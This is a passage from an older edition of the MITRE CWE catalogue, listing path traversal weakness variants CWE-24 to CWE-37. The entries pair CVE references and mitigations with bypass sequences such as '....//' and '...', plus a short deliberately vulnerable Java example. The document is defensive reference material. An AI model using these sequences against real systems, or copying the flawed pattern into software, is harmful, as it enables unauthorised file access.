ParentOf	Weakness Variant	*34*	*Path Traversal: '..../'*	***699 1000***	*36*
ParentOf	Weakness Variant	*35*	*Path Traversal: '...//...//'*	***699 1000***	*37*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Relative Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
23	File System Function Injection, Content Based	
76	Manipulating Input to File System Calls	

References

OWASP. "OWASP Attack listing". < http://www.owasp.org/index.php/Relative_Path_Traversal >.

CWE-24: Path Traversal: '../filedir'

Weakness ID: 24 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize "../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..\' manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	23	Relative Path Traversal	**699** **1000**	24

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'../filedir

CWE-25: Path Traversal: '/../filedir'

Weakness ID: 25 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize "/../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Sometimes a program checks for "../" at the beginning of the input, so a "/../" can bypass that check.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	23	Relative Path Traversal	**699 1000**	24

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'/../filedir

CWE-26: Path Traversal: '/dir/../filename'

Weakness ID: 26 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize "/dir/../filename" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '/dir/../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "../" at the beginning of the input, so a "/../" can bypass that check.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Technology Classes

- Web-Server *(Often)*

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	23	Relative Path Traversal	**699** **1000**	24

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'/directory/../filename

CWE-27: Path Traversal: 'dir/../../filename'

Weakness ID: 27 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize multiple internal "../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0298	

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	23	Relative Path Traversal	**699** **1000**	24

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'directory/../../filename

CWE-28: Path Traversal: '..\filedir'

Weakness ID: 28 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize "..\" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..\' manipulation is the canonical manipulation for operating systems that use "\" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- Windows

Observed Examples

Reference	Description
CVE-2002-0661	"\" not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.
CVE-2002-0946	Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request.
CVE-2002-1042	
CVE-2002-1178	
CVE-2002-1209	

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	23	Relative Path Traversal	**699** **1000**	24

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'..\filename' ('dot dot backslash')

CWE-29: Path Traversal: '\..\filename'

Weakness ID: 29 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize '\..\filename'" (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-25, except using "\" instead of "/". Sometimes a program checks for "..\" at the beginning of the input, so a "\..\" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- Windows

Observed Examples

Reference	Description
CVE-2002-1987	Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files.
CVE-2005-2142	

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	23	Relative Path Traversal	**699 1000**	24

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'\..\filename' ('leading dot dot backslash')

CWE-30: Path Traversal: '\dir\..\filename'

Weakness ID: 30 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize '\dir\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-26, except using "\" instead of "/". The '\dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "..\" at the beginning of the input, so a "\..\" can bypass that check.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- Windows

Observed Examples

Reference	Description
CVE-2002-1987	Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files.

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	23	Relative Path Traversal	**699** **1000**	24

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	7 - \directory\..\filename

CWE-31: Path Traversal: 'dir\..\..\filename'

Weakness ID: 31 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize 'dir\..\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'dir\..\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "..\" sequence, so multiple "..\" can bypass that check. Alternately, this manipulation could be used to bypass a check for "..\" at the beginning of the pathname, moving up more than one directory level.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- Windows

Observed Examples

Reference	Description
CVE-2002-0160	

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	23	Relative Path Traversal	**699**	24

Nature	Type	ID	Name	V	Page
				1000	

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	8 - 'directory\..\..\filename

CWE-32: Path Traversal: '...' (Triple Dot)

Weakness ID: 32 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\.." and might bypass checks that assume only two dots are valid. Insufficient filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0467	"\..." in web server
CVE-2001-0480	read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server.
CVE-2001-0615	"..." or "...." in chat server
CVE-2001-0963	"..." in cd command in FTP server
CVE-2001-1131	"..." in cd command in FTP server
CVE-2001-1193	"..." in cd command in FTP server
CVE-2002-0288	read files using "." and Unicode-encoded "/" or "\" characters in the URL.
CVE-2003-0313	Directory listing of web server using "..."
CVE-2005-1658	Triple dot

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WB	23	Relative Path Traversal	**699 1000**	24

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'...' (triple dot)

Maintenance Notes

This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts: (1) it is equivalent to "..\.." on Windows, or (2) it can take advantage of insufficient filtering, e.g. if the programmer does a single-pass removal of "./" in a string (collapse of data into unsafe value)

CWE-33: Path Traversal: '....' (Multiple Dot)

Weakness ID: 33 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\..\.." and might bypass checks that assume only two dots are valid. Insufficient filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-1082	read files via "....." in web server (doubled triple dot?)
CVE-2000-0240	read files via "/........../" in URL
CVE-2000-0773	read files via "...." in web server
CVE-2001-0491	multiple attacks using "..", "...", and "...." in different commands
CVE-2001-0615	"..." or "...." in chat server
CVE-2004-2121	read files via "....." in web server (doubled triple dot?)

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	23	Relative Path Traversal	**699 1000**	24
CanFollow	We	*182*	*Collapse of Data Into Unsafe Value*	*1000*	*210*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'....' (multiple dot)

Maintenance Notes

Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.

CWE-34: Path Traversal: '....//'

Weakness ID: 34 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize '....//' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '....//' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then "....//" can collapse into the "../" unsafe value (CWE-182). It could also be useful when ".." is removed, if the operating system treats "//" and "/" as equivalent.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Description
Merak Mail Server with Icewarp, Sep. 10, 2004

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	23	Relative Path Traversal	**699 1000**	24
ChildOf	W	182	Collapse of Data Into Unsafe Value	1000	210
CanFollow	W	*182*	*Collapse of Data Into Unsafe Value*	*1000*	*210*

Relationship Notes

This could occur due to a cleansing error that removes a single "../" from "..../"

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'..../' (doubled dot dot slash)

CWE-35: Path Traversal: '.../...//'

Weakness ID: 35 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '.../...//' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then ".../...//" can collapse into the "../" unsafe value (CWE-182). Removing the first "../" yields "..../"; the second removal yields "../". Depending on the algorithm, the software could be susceptible to CWE-34 but not CWE-35, or vice versa.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2005-0202	".../..../" bypasses regexp's that remove "./" and "../"
CVE-2005-2169	chain: ".../.../" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal.

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	23	Relative Path Traversal	**699 1000**	24
ChildOf	We	182	Collapse of Data Into Unsafe Value	1000	210
CanFollow	We	*182*	*Collapse of Data Into Unsafe Value*	*1000*	*210*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	'.../...//'

CWE-36: Absolute Path Traversal

Weakness ID: 36 *(Weakness Base)* **Status:** Draft

Description

Summary

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly sanitize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object without having been sanitized. Ideally, the path should be resolved relative to some kind of application or user home directory.

Java Example: *Bad Code*

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

Potential Mitigations

see "Path Traversal" (CWE-22)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	22	Path Traversal	**699 1000**	22
ParentOf	W	*37*	*Path Traversal: '/absolute/pathname/here'*	***699 1000***	*39*
ParentOf	W	*38*	*Path Traversal: '\absolute\pathname\here'*	***699 1000***	*40*
ParentOf	W	*39*	*Path Traversal: 'C:dirname'*	***699 1000***	*41*
ParentOf	W	*40*	*Path Traversal: '\\UNC\share\name\' (Windows UNC Share)*	***699 1000***	*42*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Absolute Path Traversal

CWE-37: Path Traversal: '/absolute/pathname/here'

Weakness ID: 37 *(Weakness Variant)* **Status:** Draft

Description

Summary

A software system that accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0614	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.
CVE-2001-1269	ZIP file extractor allows full path
CVE-2002-1345	Multiple FTP clients write arbitrary files via absolute paths in server responses
CVE-2002-1818	Path traversal using absolute pathname
CVE-2002-1913	Path traversal using absolute pathname
CVE-2005-2147	Path traversal using absolute pathname

Potential Mitigations

Assume all input is malicious. Attackers can insert paths into input vectors and traverse the file system. Use an appropriate combination of black lists and white lists to ensure only valid and expected input is processed by the system. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. See CWE-182 (Collapse of Data Into Unsafe Value).

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong input/output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

